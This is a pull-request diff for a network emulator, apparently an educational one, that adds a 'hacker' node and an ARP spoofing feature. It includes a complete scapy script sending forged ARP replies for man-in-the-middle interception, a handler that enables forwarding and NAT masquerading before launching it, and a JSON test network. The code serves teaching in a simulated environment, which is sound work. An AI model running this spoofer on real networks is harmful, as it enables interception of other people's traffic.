Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
3 changes: 2 additions & 1 deletion .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -10,4 +10,5 @@ back/rabbitmq/rabbitmq/
.env
*.log
*.ini
front/rabbitmq/rabbitmq
front/rabbitmq/rabbitmq
venv
3 changes: 2 additions & 1 deletion back/requirements.txt
Original file line number Diff line number Diff line change
Expand Up @@ -4,4 +4,5 @@ python-dotenv==1.1.1
marshmallow_dataclass==8.7.1
psutil==7.0.0
netaddr==1.3.0
ipmininet @ git+https://github.com/mimi-net/ipmininet.git@1.2.4
scapy==2.7.0
ipmininet @ git+https://github.com/mimi-net/ipmininet.git@1.2.5
75 changes: 75 additions & 0 deletions back/src/arp_spoofer.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,75 @@
import argparse

from scapy.all import conf, get_if_hwaddr, sendp, sniff
from scapy.layers.l2 import ARP, Ether


def parse_args() -> argparse.Namespace:
parser = argparse.ArgumentParser(description="ARP spoof responder")
parser.add_argument("--iface", required=True)
parser.add_argument("--victim-ip", required=True)
parser.add_argument("--spoofed-ip", required=True)
parser.add_argument("--mode", choices=("mitm", "reply_only"), default="mitm")
return parser.parse_args()


def build_arp_reply(
source_mac: str, source_ip: str, target_mac: str, target_ip: str
) -> Ether:
return Ether(dst=target_mac, src=source_mac) / ARP(
op=2,
hwsrc=source_mac,
psrc=source_ip,
hwdst=target_mac,
pdst=target_ip,
)


def main() -> None:
args = parse_args()
conf.use_pcap = False
hacker_mac = get_if_hwaddr(args.iface).lower()

def handle_packet(packet) -> None:
if ARP not in packet:
return

arp_packet = packet[ARP]
if arp_packet.op != 1:
return

sender_mac = arp_packet.hwsrc.lower()
sender_ip = arp_packet.psrc
target_ip = arp_packet.pdst

if sender_mac == hacker_mac:
return

if sender_ip == args.victim_ip and target_ip == args.spoofed_ip:
sendp(
build_arp_reply(
hacker_mac, args.spoofed_ip, sender_mac, args.victim_ip
),
iface=args.iface,
verbose=False,
)
return

if (
args.mode == "mitm"
and sender_ip == args.spoofed_ip
and target_ip == args.victim_ip
):
sendp(
build_arp_reply(
hacker_mac, args.victim_ip, sender_mac, args.spoofed_ip
),
iface=args.iface,
verbose=False,
)

sniff(iface=args.iface, filter="arp", store=False, prn=handle_packet)


if __name__ == "__main__":
main()
4 changes: 2 additions & 2 deletions back/src/emulator.py
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,7 @@
import dpkt

from ipmininet.ipnet import IPNet
from jobs import Jobs
from jobs import Jobs, SLEEP_JOB_ID
from network import MiminetNetwork
from network_schema import Job, Network
from pkt_parser import create_pkt_animation
Expand Down Expand Up @@ -36,7 +36,7 @@ def emulate(
f"Превышен лимит! В сети максимальное количество команд ({MAX_JOBS_COUNT}). "
f"Текущее количество: {len(network.jobs)}"
)
sleep_jobs = [j for j in network.jobs if j.job_id == 7]
sleep_jobs = [j for j in network.jobs if j.job_id == SLEEP_JOB_ID]
total_time = sum(int(j.arg_1) for j in sleep_jobs)
if total_time > 60 or total_time < 0:
raise ValueError(
Expand Down
126 changes: 104 additions & 22 deletions back/src/jobs.py
Original file line number Diff line number Diff line change
@@ -1,14 +1,48 @@
import ipaddress
import re
import shlex
import sys
import time
from pathlib import Path
from typing import Any, Callable, Dict, List

from ipmininet.host.config.dnsmasq import Dnsmasq
from mininet.log import info
from netaddr import EUI, AddrFormatError
from network_schema import Job

PING_JOB_ID = 1
PING_WITH_OPTIONS_JOB_ID = 2
SEND_UDP_DATA_JOB_ID = 3
SEND_TCP_DATA_JOB_ID = 4
TRACEROUTE_JOB_ID = 5
LINK_DOWN_JOB_ID = 6
SLEEP_JOB_ID = 7

IP_ADDR_ADD_JOB_ID = 100
NAT_JOB_ID = 101
ADD_ROUTE_JOB_ID = 102
ARP_CACHE_ADD_JOB_ID = 103
SUBINTERFACE_VLAN_JOB_ID = 104
IPIP_TUNNEL_JOB_ID = 105
GRE_TUNNEL_JOB_ID = 106
ARP_PROXY_JOB_ID = 107
DHCP_CLIENT_JOB_ID = 108
PORT_FORWARDING_TCP_JOB_ID = 109
PORT_FORWARDING_UDP_JOB_ID = 110

OPEN_UDP_SERVER_JOB_ID = 200
OPEN_TCP_SERVER_JOB_ID = 201
BLOCK_TCP_UDP_PORT_JOB_ID = 202
DHCP_SERVER_JOB_ID = 203
ARP_SPOOF_JOB_ID = 205


ARP_SPOOFER_SCRIPT = shlex.quote(
str(Path(__file__).resolve().with_name("arp_spoofer.py"))
)
ARP_SPOOFER_PYTHON = shlex.quote(sys.executable)


def filter_arg_for_options(
arg: str, flags_without_args: List[str], flags_with_args: Dict[str, str]
Expand Down Expand Up @@ -217,6 +251,20 @@ def valid_sleep(time) -> bool:
return True


def arp_spoof_checker(interface: str, victim_ip: str, spoofed_ip: str) -> bool:
"""Validate minimal ARP spoofing arguments."""
return (
valid_iface(interface)
and valid_ip(victim_ip)
and valid_ip(spoofed_ip)
and victim_ip != spoofed_ip
)


def arp_spoof_mode_checker(mode: str) -> bool:
return mode in ("mitm", "reply_only", "")


def link_down_handler(job: Job, job_host: Any) -> None:
arg_interface = job.arg_1
if not net_dev_checker(arg_interface):
Expand Down Expand Up @@ -423,6 +471,39 @@ def arp_handler(job: Job, job_host: Any) -> None:
job_host.cmd(f"arp -s {arg_ip} {arg_mac}")


def arp_spoof_handler(job: Job, job_host: Any) -> None:
"""Start an ARP responder that sends forged replies to matching ARP requests."""
arg_hacker_iface = job.arg_1
arg_victim_ip = job.arg_2
arg_spoofed_ip = job.arg_3
arg_mode = job.arg_4 if isinstance(job.arg_4, str) and job.arg_4 else "mitm"

if not arp_spoof_checker(arg_hacker_iface, arg_victim_ip, arg_spoofed_ip):
return
if not arp_spoof_mode_checker(arg_mode):
return

if arg_mode == "mitm":
job_host.cmd("sysctl -w net.ipv4.conf.all.send_redirects=0")
job_host.cmd("sysctl -w net.ipv4.conf.all.rp_filter=0")
job_host.cmd(
f"iptables -t nat -A POSTROUTING -o {arg_hacker_iface} -j MASQUERADE"
)
job_host.cmd("iptables -P FORWARD ACCEPT")
else:
job_host.cmd("sysctl -w net.ipv4.ip_forward=0")

job_host.cmd(
f"nohup {ARP_SPOOFER_PYTHON} -u {ARP_SPOOFER_SCRIPT} "
f"--iface {arg_hacker_iface} "
f"--victim-ip {arg_victim_ip} "
f"--spoofed-ip {arg_spoofed_ip} "
f"--mode {arg_mode} "
"> /dev/null 2>&1 < /dev/null &"
)
time.sleep(1)


def subinterface_with_vlan(job: Job, job_host: Any) -> None:
"""Method for adding subinterface with vlan"""
arg_intf = job.arg_1
Expand Down Expand Up @@ -547,28 +628,29 @@ def __init__(self, job: Job, job_host: Any, **kwargs) -> None:
# Dictionary for storing strategies
# (At the moment this is used since each command on the application server is encoded by a number)
self._dct: dict[int, Callable[[Job, Any], None]] = {
1: ping_handler,
2: ping_with_options_handler,
3: sending_udp_data_handler,
4: sending_tcp_data_handler,
5: traceroute_handler,
6: link_down_handler,
7: sleep_handler,
100: ip_addr_add_handler,
101: iptables_handler,
102: ip_route_add_handler,
103: arp_handler,
104: subinterface_with_vlan,
105: add_ipip_interface,
106: add_gre,
107: arp_proxy_enable,
108: dhcp_client,
109: port_forwarding_tcp_handler,
110: port_forwarding_udp_handler,
200: open_udp_server_handler,
201: open_tcp_server_handler,
202: block_tcp_udp_port,
203: dhcp_server,
PING_JOB_ID: ping_handler,
PING_WITH_OPTIONS_JOB_ID: ping_with_options_handler,
SEND_UDP_DATA_JOB_ID: sending_udp_data_handler,
SEND_TCP_DATA_JOB_ID: sending_tcp_data_handler,
TRACEROUTE_JOB_ID: traceroute_handler,
LINK_DOWN_JOB_ID: link_down_handler,
SLEEP_JOB_ID: sleep_handler,
IP_ADDR_ADD_JOB_ID: ip_addr_add_handler,
NAT_JOB_ID: iptables_handler,
ADD_ROUTE_JOB_ID: ip_route_add_handler,
ARP_CACHE_ADD_JOB_ID: arp_handler,
ARP_SPOOF_JOB_ID: arp_spoof_handler,
SUBINTERFACE_VLAN_JOB_ID: subinterface_with_vlan,
IPIP_TUNNEL_JOB_ID: add_ipip_interface,
GRE_TUNNEL_JOB_ID: add_gre,
ARP_PROXY_JOB_ID: arp_proxy_enable,
DHCP_CLIENT_JOB_ID: dhcp_client,
PORT_FORWARDING_TCP_JOB_ID: port_forwarding_tcp_handler,
PORT_FORWARDING_UDP_JOB_ID: port_forwarding_udp_handler,
OPEN_UDP_SERVER_JOB_ID: open_udp_server_handler,
OPEN_TCP_SERVER_JOB_ID: open_tcp_server_handler,
BLOCK_TCP_UDP_PORT_JOB_ID: block_tcp_udp_port,
DHCP_SERVER_JOB_ID: dhcp_server,
}
self._job: Job = job
self._job_host = job_host
Expand Down
4 changes: 3 additions & 1 deletion back/src/network_topology.py
Original file line number Diff line number Diff line change
Expand Up @@ -56,6 +56,8 @@ def __handle_node(self, node: Node):
self.__handle_l1_hub(node_id)
elif node_type == NodeType.ROUTER:
self.__handle_router(node_id, config)
elif node_type == NodeType.HACKER:
self.__handle_host_or_server(node_id, config)
else:
print(f"Unknown node type: {node_type}")
return
Expand Down Expand Up @@ -83,7 +85,7 @@ def __handle_l2_switch(self, node_id: str, config: NodeConfig):
def __handle_host_or_server(self, node_id: str, config: NodeConfig):
default_gw = config.default_gw
route = f"via {default_gw}" if default_gw else ""
self.__nodes[node_id] = self.addHost(node_id, defaultRoute=route)
self.__nodes[node_id] = self.addHost(node_id, defaultRoute=route, cwd="/tmp")

def __handle_l1_hub(self, node_id: str):
self.__nodes[node_id] = self.addSwitch(
Expand Down
1 change: 1 addition & 0 deletions back/src/node_types.py
Original file line number Diff line number Diff line change
Expand Up @@ -11,3 +11,4 @@ class NodeType(str, Enum):
SWITCH = "l2_switch"
HUB = "l1_hub"
ROUTER = "router"
HACKER = "hacker"
99 changes: 99 additions & 0 deletions back/tests/network_examples_json/arp_spoofing_mitm_network.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,99 @@
{
"jobs": [
{
"id": "job_arp_spoof",
"level": 0,
"job_id": 205,
"host_id": "hacker_1",
"arg_1": "iface_30000002",
"arg_2": "192.168.1.10",
"arg_3": "192.168.1.1",
"arg_4": "mitm",
"print_cmd": "ARP Spoofing MITM -> 192.168.1.10"
},
{
"id": "job_ping_router",
"level": 1,
"job_id": 1,
"host_id": "host_1",
"arg_1": "192.168.1.1",
"print_cmd": "ping -c 1 192.168.1.1"
}
],
"nodes": [
{
"classes": ["host"],
"config": {"default_gw": "192.168.1.1", "label": "host_1", "type": "host"},
"data": {"id": "host_1", "label": "host_1"},
"interface": [
{
"connect": "edge_arp_host_switch",
"id": "iface_30000001",
"ip": "192.168.1.10",
"name": "iface_30000001",
"netmask": 24
}
],
"position": {"x": 50, "y": 50}
},
{
"classes": ["hacker"],
"config": {"default_gw": "", "label": "hacker_1", "type": "hacker"},
"data": {"id": "hacker_1", "label": "hacker_1"},
"interface": [
{
"connect": "edge_arp_hacker_switch",
"id": "iface_30000002",
"ip": "192.168.1.66",
"name": "iface_30000002",
"netmask": 24
}
],
"position": {"x": 120, "y": 30}
},
{
"classes": ["l2_switch"],
"config": {"label": "l2sw1", "stp": 0, "type": "l2_switch"},
"data": {"id": "l2sw1", "label": "l2sw1"},
"interface": [
{"connect": "edge_arp_host_switch", "id": "l2sw1_1", "name": "l2sw1_1"},
{"connect": "edge_arp_hacker_switch", "id": "l2sw1_2", "name": "l2sw1_2"},
{"connect": "edge_arp_switch_backbone", "id": "l2sw1_3", "name": "l2sw1_3"}
],
"position": {"x": 120, "y": 90}
},
{
"classes": ["l2_switch"],
"config": {"label": "l2sw2", "stp": 0, "type": "l2_switch"},
"data": {"id": "l2sw2", "label": "l2sw2"},
"interface": [
{"connect": "edge_arp_switch_backbone", "id": "l2sw2_1", "name": "l2sw2_1"},
{"connect": "edge_arp_router_switch", "id": "l2sw2_2", "name": "l2sw2_2"}
],
"position": {"x": 180, "y": 90}
},
{
"classes": ["l3_router"],
"config": {"default_gw": "", "label": "router_1", "type": "router"},
"data": {"id": "router_1", "label": "router_1"},
"interface": [
{
"connect": "edge_arp_router_switch",
"id": "iface_30000003",
"ip": "192.168.1.1",
"name": "iface_30000003",
"netmask": 24
}
],
"position": {"x": 190, "y": 50}
}
],
"edges": [
{"data": {"id": "edge_arp_host_switch", "source": "host_1", "target": "l2sw1", "loss_percentage": 0, "duplicate_percentage": 0}},
{"data": {"id": "edge_arp_hacker_switch", "source": "hacker_1", "target": "l2sw1", "loss_percentage": 0, "duplicate_percentage": 0}},
{"data": {"id": "edge_arp_switch_backbone", "source": "l2sw1", "target": "l2sw2", "loss_percentage": 0, "duplicate_percentage": 0}},
{"data": {"id": "edge_arp_router_switch", "source": "router_1", "target": "l2sw2", "loss_percentage": 0, "duplicate_percentage": 0}}
],
"config": {"zoom": 1, "pan_x": 0, "pan_y": 0},
"pcap": []
}
Loading
Loading